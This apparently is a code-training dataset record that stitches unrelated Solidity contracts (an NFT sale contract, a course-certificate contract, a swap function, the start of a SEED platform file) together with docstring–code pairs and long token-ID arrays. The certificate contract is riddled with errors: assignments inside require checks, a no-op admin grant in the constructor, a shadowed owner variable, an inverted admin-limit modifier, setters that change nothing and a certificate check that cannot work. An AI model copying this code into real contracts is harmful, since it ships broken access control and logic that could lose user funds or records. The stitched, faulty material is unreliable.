// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/SingularityHeroes.sol
pragma solidity 0.7.0;
/**
* @title SingularityHeroes contract
* @dev Extends ERC721 Non-Fungible Token Standard basic implementation
*/
contract SingularityHeroes is ERC721, Ownable {
using SafeMath for uint256;
uint256 public constant heroesPrice = 67000000000000000; // 0.067 ETH
uint256 public constant maxHeroesPurchase = 25;
uint256 public MAX_HEROES = 10000;
bool public saleIsActive = false;
constructor() ERC721("TheSingularityHeroes", "TSH") {}
function withdraw() public onlyOwner {
uint256 balance = address(this).balance;
msg.sender.transfer(balance);
}
function reserveHeroes() public onlyOwner {
uint256 supply = totalSupply();
uint256 i;
for (i = 0; i < 250; i++) {
_safeMint(msg.sender, supply + i);
}
}
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
function setBaseURI(string memory baseURI) public onlyOwner {
_setBaseURI(baseURI);
}
function mintHeroes(uint256 numberOfTokens) public payable {
require(saleIsActive, "Sale must be active to mint Heroes");
require(
numberOfTokens <= maxHeroesPurchase,
"Can only mint 25 tokens at a time"
);
require(
totalSupply().add(numberOfTokens) <= MAX_HEROES,
"Purchase would exceed max supply of Heroes"
);
require(
heroesPrice.mul(numberOfTokens) <= msg.value,
"Ether value sent is not correct"
);
for (uint256 i = 0; i < numberOfTokens; i++) {
uint256 mintIndex = totalSupply();
if (totalSupply() < MAX_HEROES) {
_safeMint(msg.sender, mintIndex);
}
}
}
} | * @dev Returns the number of key-value pairs in the map. O(1)./ | function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
| 1,107 | [
1,
1356,
326,
1300,
434,
498,
17,
1132,
5574,
316,
326,
852,
18,
531,
12,
21,
2934,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
2469,
12,
863,
2502,
852,
13,
3238,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
852,
6315,
8219,
18,
2469,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity <0.7.10;
pragma experimental ABIEncoderV2;
import "./Ownable.sol";
import "./SafeMath.sol";
import "./SafeMath16.sol";
contract BloceducareCerts is Ownable{
using SafeMath for uint256;
using SafeMath for uint16;
//GLOBAL STATE VARIABLES
address private owner;
address private newOwner;
uint256 amount;
uint16 adminIndex;
uint16 maxAdminIndex;
uint studentIndex;
uint16 assignmentIndex;
bool ownershipEnabled = true;
bool certificateExist = false;
//ENUMS
enum grades {noGrade,good,great,outstanding,epic,legendary}
grades grade;
//grades constant defaultGrade = grades.noGrade;
enum assignmentStatus{inactive,pending,completed,cancelled}
assignmentStatus assignment;
//assignments constant defaultAssignment = assignments.inactive;
// assignment = assignments.COMPLETED;
//STRUCTS
struct Admin{
bool authorized;
uint id;
}
struct Assignment{
string link;
assignmentStatus status;
}
struct Student{
string email;
bytes32 firstName;
bytes32 lastName;
bytes32 commendation;
grades grade;
assignmentStatus assignment;
bool active;
}
Student[] student;
struct Certificate{
address studentAddress;
string email;
bytes32 firstName;
bytes32 lastName;
bytes32 commendation;
grades grade;
assignmentStatus assignment;
uint assignmentIndex;
}
//Arrays of certificates,admins,students,and assignments
string[] certificateList;
uint[] admin;
string[] studentList;
string[] assignmentList;
//mapping
mapping(address => Certificate) public certificates;
mapping(string => mapping(address => Certificate)) byName;
mapping(string => bool) private isParticipant;
mapping (address => bool) admins;
mapping(address =>Admin)adminReverseMapping;
mapping(address => Student) students;
mapping(string => uint) studentsReverseMapping;
mapping(uint => Assignment) assignments;
//events
//Admin related events
event AdminAdded(address _newAdmin,uint _maxAdminIndex);
event AdminRemoved(address _newAdmin, uint _maxAdminIndex);
event AdminLimitChanged(uint _newAdminLimit);
//Student related events
event StudentAdded(string msg,string _email,bytes32 _firstName,bytes32 _lastName,bytes32 _commendation);
event StudentRemoved(string msg,string _email,uint studentIndex);
event StudentNameUpdated(string _Email,bytes32 _newCommendation);
event StudentCommendationUpdated(string _Email,bytes32 _newFirstName,bytes32 _newLastName);
event StudentGradeUpdated(string _Email,grades _newGrade);
event StudentEmailUpdated(string _oldEmail,string _newEmail);
//Assignment related events
event AssignmentAdded(string _email,string link,assignmentStatus status,uint16 assignmentIndex);
event AssignmentUpdated(string _email,uint _assignmentIndex,assignmentStatus _newStatus);
//Certificate related events
event certCreated(string _msg,bytes32 _name,string _with,address students,string by,address creator);
event certRemoved(string _msg,address _participantAddress,string _msg2,string at,uint time);
event certVerified(string msg,address addressVerified,string _msg);
//MODIFIERS
modifier onlyOwner(){
require(msg.sender == owner, "Accessible only by the owner");
_;
}
modifier onlyNewOwner(){
require(msg.sender == newOwner, "Accessible only by the new owner");
_;
}
modifier onlyAdmins(){
require(admins[msg.sender],"Accessible by only Admins");
_;
}
modifier onlyNonOwnerAdmins(){
require(admins[owner] == false && admins[newOwner] == false,"Accessible only by Admins that are not owners");
_;
}
modifier onlyPermissibleAdminLimit(){
require(adminIndex == maxAdminIndex,"The admin limit has been reached");
_;
}
modifier onlyNonExistentStudents(string memory _email){
Student memory _student;
_student.email = _email;
require(_student.active = false,"Student already exist");
_;
}
modifier onlyValidStudents(string memory _email){
Student memory _student;
_student.email = _email;
require(_student.active = false,"Student already exist");
_;
}
//CONSTRUCTOR
constructor() public{
maxAdminIndex = 2;
owner = msg.sender;
admins[owner] == true;
grade = grades.noGrade;
assignment = assignmentStatus.inactive;
//addAdmin();
}
//FUNCTIONS
//transfer ownership of the contract to a given address
function transferOwnership(address _newOwner) public onlyOwner {
owner = _newOwner;
}
//relinquish ownership of the contract
function renounceOwnership() public onlyOwner returns(bool) {
ownershipEnabled = false;
return ownershipEnabled;
}
//Allows owner to add an admin
function addAdmin(address _newAdmin) public onlyOwner{
require(adminIndex <= maxAdminIndex,"Maximum number of admins reached");
Admin memory _adminStruct;
_adminStruct = adminReverseMapping[_newAdmin] ;
adminIndex += 1;
emit AdminAdded(_newAdmin,adminIndex);
}
//Allows new owner to add an admin
function _addAdmin(address _newAdmin) public onlyNewOwner{
require(adminIndex <= maxAdminIndex,"Maximum number of admins reached");
Admin memory _adminStruct;
_adminStruct = adminReverseMapping[_newAdmin];
adminIndex += 1;
emit AdminAdded(_newAdmin,adminIndex);
}
//Allow the owner to remove an Admin
function removeAdmin(address _adminAddress) public onlyOwner{
delete admins[_adminAddress];
adminIndex -= 1;
emit AdminRemoved( _adminAddress,adminIndex);
}
//Allow the current owner to remove an Admin
function _removeAdmin(address _adminAddress) public onlyNewOwner{
delete admins[_adminAddress];
adminIndex -= 1;
emit AdminRemoved( _adminAddress,adminIndex);
}
//Allow an admin to add a student
function addStudent(string memory _email,
bytes32 _firstName,bytes32 _lastName,
bytes32 _commendation) public onlyAdmins{
Student memory _student;
_student.email = _email;
_student.firstName = _firstName;
_student.lastName = _lastName;
_student.commendation =_commendation;
_student.grade = grade;
_student.assignment = assignment;
_student.active = false;
studentIndex +=1;
assignmentIndex = 0;
emit StudentAdded("New student added",_email, _firstName, _lastName, _commendation);
}
//Allows Admin to update the information of a student
function updateStudentInfo(address __studentAddress,string memory __email,bytes32 __firstName,bytes32 ___lastName,
bytes32 __commendation,assignmentStatus __assignments,grades __grade, bool __active) public onlyAdmins {
students[__studentAddress] = Student({
email: __email,
firstName : __firstName,
lastName : ___lastName,
commendation:__commendation,
assignment: __assignments,
grade: __grade,
active: __active = true
});
studentList.push(__email);
}
//Allows Admins to disable a student
function removeStudent(string memory _email)public onlyAdmins{
Student memory _student;
_student.email = _email;
delete _email;
studentIndex -= 1;
emit StudentRemoved("A student has just been disable",_email,studentIndex);
}
//Allows Admin to create certificates
function createCertificate(address __studentAddress,
string memory __email,
bytes32 __firstName,
bytes32 __lastName,
bytes32 __commendaton,
grades __grade,
assignmentStatus __assignment,
uint __assignmentIndex) public onlyAdmins {
certificates[__studentAddress] = Certificate({
studentAddress: __studentAddress,
email: __email,
firstName : __firstName,
lastName : __lastName,
commendation: __commendaton,
grade: __grade,
assignment: __assignment,
assignmentIndex : __assignmentIndex
});
certificateList.push(__email);
emit certCreated("A new certificate has been created for:",__firstName,"with address:",__studentAddress,"by:",msg.sender);
}
//Allows admin to remove a certificate.
function removeCertificate(address __participantAddress) onlyAdmins public{
delete certificates[__participantAddress];
emit certRemoved("A certificate belonging to:",__participantAddress,"has been deleted","at",now);
}
//
function changeStudentName(address _studentAddress,bytes32 ___firstName,bytes32 ___lastName) onlyAdmins public view{
Student memory _student = students[_studentAddress];
_student.firstName = ___firstName;
_student.lastName = ___lastName;
}
function changeStudentCommendation(address _studentAddress,bytes32 _commendation) public view{
Student memory _student = students[_studentAddress];
_student.commendation = _commendation ;
}
function changeStudentGrade( string memory _email,grades _grade) onlyAdmins public view{
Student memory _student;
_student.email = _email;
_student.grade = _grade;
}
function _calcAndFetchAssignmentIndex(uint16 _assignmentIndex, bool isFinalProject, Student memory) public view returns(uint16 index){
if(isFinalProject == true){
require(_assignmentIndex < assignmentList.length);
Student storage student = student[_assignmentIndex];
return(_assignmentIndex);
}else{
Student storage student = student[_assignmentIndex];
return _assignmentIndex++;
}
}
function addAssignment(uint _assignmentIndex, string memory _email,
string memory link, assignmentStatus status,
bool _isFinalProject) public onlyAdmins returns(uint){
Student memory _studentStruct;
Assignment memory _assignmentStruct;
_assignmentIndex = studentsReverseMapping[_email];
_studentStruct = student[assignmentIndex];
_calcAndFetchAssignmentIndex(assignmentIndex, _isFinalProject, _studentStruct);
_assignmentStruct = Assignment({link: link, status: status});
emit AssignmentAdded(_email, link, status, assignmentIndex);
}
function updateAssignmentStatus(uint _assignmentIndex,
string memory _email,
assignmentStatus _newStatus,
bool _isFinalProject) public onlyAdmins{
Student memory _studentStruct;
Assignment memory _assignmentStruct;
_assignmentIndex = studentsReverseMapping[_email];
_studentStruct = student[assignmentIndex];
_calcAndFetchAssignmentIndex(assignmentIndex, _isFinalProject, _studentStruct);
_assignmentStruct.status = _newStatus;
emit AssignmentUpdated(_email, _assignmentIndex, _newStatus);
}
function getAssignmentInfo(string memory _email, uint _index) public view returns(string memory link, assignmentStatus status){
Student memory _studentStruct;
_index = studentsReverseMapping[_email];
_studentStruct = student[_index];
require(_index >= 0 && _index <= 20, "Assignments below the required limit");
return(link, status);
}
function donateETH(uint256 amount) payable public {
amount = 0;
require(msg.sender != address(0), "Invalid address");
require(msg.value > amount);
}
function withdrawETH() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
//Get student grade
function getGrade(string memory _email) public view returns (grades) {
Student memory _student;
_student.email = _email;
return grade;
}
function verifyCertByAddress (address _studentAddress) public returns (bool){
uint i = 0;
while ( i < certificateList.length){
Certificate memory cert;
require(cert.studentAddress == _studentAddress,"Sorry,this address does not belong to a student");
certificateExist = true;
i++;
}
emit certVerified("Student with address:",_studentAddress,"is a graduate of the one million ethereum developers");
return certificateExist;
}
} | Allow the owner to remove an Admin | function removeAdmin(address _adminAddress) public onlyOwner{
delete admins[_adminAddress];
adminIndex -= 1;
emit AdminRemoved( _adminAddress,adminIndex);
}
| 12,615,021 | [
1,
7009,
326,
3410,
358,
1206,
392,
7807,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
202,
282,
445,
1206,
4446,
12,
2867,
389,
3666,
1887,
13,
1071,
1338,
5541,
95,
203,
6862,
1430,
31116,
63,
67,
3666,
1887,
15533,
203,
6862,
3981,
1016,
3947,
404,
31,
202,
203,
6862,
3626,
7807,
10026,
12,
389,
3666,
1887,
16,
3666,
1016,
1769,
203,
202,
282,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0xe2722579f525d02576799934072EFb50441d452f/sources/Component.sol | @author james foley http://github.com/realisation @notice swap a dynamic origin amount for a fixed target amount @param _origin the address of the origin @param _target the address of the target @param _originAmount the origin amount @param _minTargetAmount the minimum target amount @param _deadline deadline in block number after which the trade will not execute @return targetAmount_ the amount of target that has been swapped for the origin amount | function originSwap (
address _origin,
address _target,
uint _originAmount,
uint _minTargetAmount,
uint _deadline
) external deadline(_deadline) transactable nonReentrant returns (
uint targetAmount_
) {
targetAmount_ = Swaps.originSwap(component, _origin, _target, _originAmount, msg.sender);
require(targetAmount_ > _minTargetAmount, "Component/below-min-target-amount");
}
| 3,643,114 | [
1,
78,
753,
284,
790,
93,
1062,
2207,
6662,
18,
832,
19,
7688,
10742,
225,
7720,
279,
5976,
4026,
3844,
364,
279,
5499,
1018,
3844,
225,
389,
10012,
326,
1758,
434,
326,
4026,
225,
389,
3299,
326,
1758,
434,
326,
1018,
225,
389,
10012,
6275,
326,
4026,
3844,
225,
389,
1154,
2326,
6275,
326,
5224,
1018,
3844,
225,
389,
22097,
1369,
14096,
316,
1203,
1300,
1839,
1492,
326,
18542,
903,
486,
1836,
327,
1018,
6275,
67,
326,
3844,
434,
1018,
716,
711,
2118,
7720,
1845,
364,
326,
4026,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4026,
12521,
261,
203,
3639,
1758,
389,
10012,
16,
203,
3639,
1758,
389,
3299,
16,
203,
3639,
2254,
389,
10012,
6275,
16,
203,
3639,
2254,
389,
1154,
2326,
6275,
16,
203,
3639,
2254,
389,
22097,
1369,
203,
565,
262,
3903,
14096,
24899,
22097,
1369,
13,
906,
621,
429,
1661,
426,
8230,
970,
1135,
261,
203,
3639,
2254,
1018,
6275,
67,
203,
565,
262,
288,
203,
203,
3639,
1018,
6275,
67,
273,
5434,
6679,
18,
10012,
12521,
12,
4652,
16,
389,
10012,
16,
389,
3299,
16,
389,
10012,
6275,
16,
1234,
18,
15330,
1769,
203,
203,
3639,
2583,
12,
3299,
6275,
67,
405,
389,
1154,
2326,
6275,
16,
315,
1841,
19,
27916,
17,
1154,
17,
3299,
17,
8949,
8863,
203,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
* SEED Platform Generator FPDeployer
*/
pragma solidity ^0.5.2;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Not Owner!");
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
* @notice Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0),"Address 0 could not be owner");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IAdminTools {
function setFFPAddresses(address, address) external;
function setMinterAddress(address) external returns(address);
function getMinterAddress() external view returns(address);
function getWalletOnTopAddress() external view returns (address);
function setWalletOnTopAddress(address) external returns(address);
function addWLManagers(address) external;
function removeWLManagers(address) external;
function isWLManager(address) external view returns (bool);
function addWLOperators(address) external;
function removeWLOperators(address) external;
function renounceWLManager() external;
function isWLOperator(address) external view returns (bool);
function renounceWLOperators() external;
function addFundingManagers(address) external;
function removeFundingManagers(address) external;
function isFundingManager(address) external view returns (bool);
function addFundingOperators(address) external;
function removeFundingOperators(address) external;
function renounceFundingManager() external;
function isFundingOperator(address) external view returns (bool);
function renounceFundingOperators() external;
function addFundsUnlockerManagers(address) external;
function removeFundsUnlockerManagers(address) external;
function isFundsUnlockerManager(address) external view returns (bool);
function addFundsUnlockerOperators(address) external;
function removeFundsUnlockerOperators(address) external;
function renounceFundsUnlockerManager() external;
function isFundsUnlockerOperator(address) external view returns (bool);
function renounceFundsUnlockerOperators() external;
function isWhitelisted(address) external view returns(bool);
function getWLThresholdBalance() external view returns (uint256);
function getMaxWLAmount(address) external view returns(uint256);
function getWLLength() external view returns(uint256);
function setNewThreshold(uint256) external;
function changeMaxWLAmount(address, uint256) external;
function addToWhitelist(address, uint256) external;
function addToWhitelistMassive(address[] calldata, uint256[] calldata) external returns (bool);
function removeFromWhitelist(address, uint256) external;
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
